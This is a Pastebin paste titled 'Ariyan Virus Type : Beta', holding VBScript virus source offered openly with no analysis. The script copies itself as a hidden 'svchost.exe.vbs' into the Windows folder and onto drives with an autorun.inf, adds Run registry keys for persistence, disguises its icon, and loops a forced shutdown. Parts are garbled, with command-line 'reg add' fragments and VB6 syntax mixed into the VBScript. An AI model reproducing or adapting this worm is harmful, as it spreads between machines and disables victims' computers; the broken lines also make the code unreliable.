AriyanXploit404

Ariyan Virus Type : Beta

Dec 21st, 2021 (edited)
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. On error resume next
  2. dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
  3. atr = “[autorun]”&vbcrlf&”shellexecute=wscript.exe svchost.exe.vbs”
  4. set fs = createobject(“Scripting.FileSystemObject”)
  5. set mf = fs.getfile(Wscript.ScriptFullname)
  6. dim text,size
  7. size = mf.size
  8. check = mf.drive.drivetype
  9. set text=mf.openastextstream(1,-2)
  10. do while not text.atendofstream
  11. mysource=mysource&text.readline
  12. mysource=mysource & vbcrlf
  13. loop
  14. do
  15. Set winpath = fs.getspecialfolder(0)
  16. set tf = fs.getfile(winpath &\svchost.exe.vbs”)
  17. tf.attributes = 32
  18. set tf=fs.createtextfile(winpath &\svchost.exe.vbs”,2,true)
  19. tf.write mysource
  20. tf.close
  21. set tf = fs.getfile(winpath &\svchost.exe.vbs”)
  22. tf.attributes = 39
  23. for each flashdrive in fs.drives
  24. If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
  25. set tf=fs.getfile(flashdrive.path &\svchost.exe.vbs”)
  26. tf.attributes =32
  27. set tf=fs.createtextfile(flashdrive.path &\svchost.exe.vbs”,2,true)
  28. tf.write mysource
  29. tf.close
  30. set tf=fs.getfile(flashdrive.path &\svchost.exe.vbs”)
  31. tf.attributes =39
  32. set tf =fs.getfile(flashdrive.path &\autorun.inf”)
  33. tf.attributes = 32
  34. set tf=fs.createtextfile(flashdrive.path &\autorun.inf”,2,true)
  35. tf.write atr
  36. tf.close
  37. set tf =fs.getfile(flashdrive.path &\autorun.inf”)
  38. tf.attributes=39
  39. end if
  40. next
  41. set rg = createobject(“WScript.Shell”)
  42. rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&\svchost.exe.vbs”
  43. rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””
  44. rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3
  45. if check <> 1 then
  46. Wscript.sleep 100000
  47. end if
  48. loop while check<>1
  49. set sd = createobject(“Wscript.shell”)
  50. sd.run winpath&\explorer.exe /e,/select, “&Wscript.ScriptFullname
  51. reg add
  52. hkey_local_machine\software\microsoft\windows\currentversionrun\vWINDOWsAPI\t
  53. reg_sz/d c:windowswimn32.bat/f
  54. reg add
  55. hkey_current_user\software\microsoft\windows\currentversionrun\vCONTROLexit\t
  56. reg_sz/d c:windowswimn32.bat/f
  57. do while year(now) >= 2021
  58. WScript.sleep 20000
  59. Call Shell("C:\Windows\System32\Shutdown.exe -s -t 00", vbHide)
Add Comment
Please, Sign In to add comment